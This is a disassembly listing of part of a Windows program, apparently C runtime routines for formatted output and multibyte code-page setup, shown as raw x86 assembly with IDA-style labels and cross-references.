loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43CBF0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43CF80
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF8C
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF84
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43CBF0
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DCDA4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43CC00


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43CCF0
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28A0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		cmp	[ebp+var_18], 1
		mov	dword_4DCDA4, esi
		rep stosd
		stosb
		mov	dword_4DCFC4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DCEC1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43CC10[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43CBF8[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DCEC1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DCDBC, 1
		push	eax
		mov	dword_4DCDA4, eax
		call	sub_42008C
		lea	esi, dword_43CC04[esi]
		mov	edi, offset dword_4DCDB0
		movsd
		movsd
		pop	ecx
		mov	dword_4DCFC4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DCEC1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DCFC4, eax
		mov	dword_4DCDBC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DCDBC, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB9E0, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB9E0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB9E0, 1
		nop
		jmp	near ptr 26508BFh
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB9E0, 1
		jmp	near ptr 28A07ABh
; ---------------------------------------------------------------------------
		db 39h
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DBA24
		mov	dword_4DB9E0, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DCEC0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		mov	dword_4DCDA4, eax
		mov	dword_4DCDBC, eax
		mov	dword_4DCFC4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DCDA4
		call	near ptr 28A0000h
		nop
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DCFC4
		push	dword_4DCDA4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DCFC4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DCFC4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DCEC1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DCDC0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DCEC1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DCDC0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DCEC1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DCDC0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DCEC1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DCDC0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


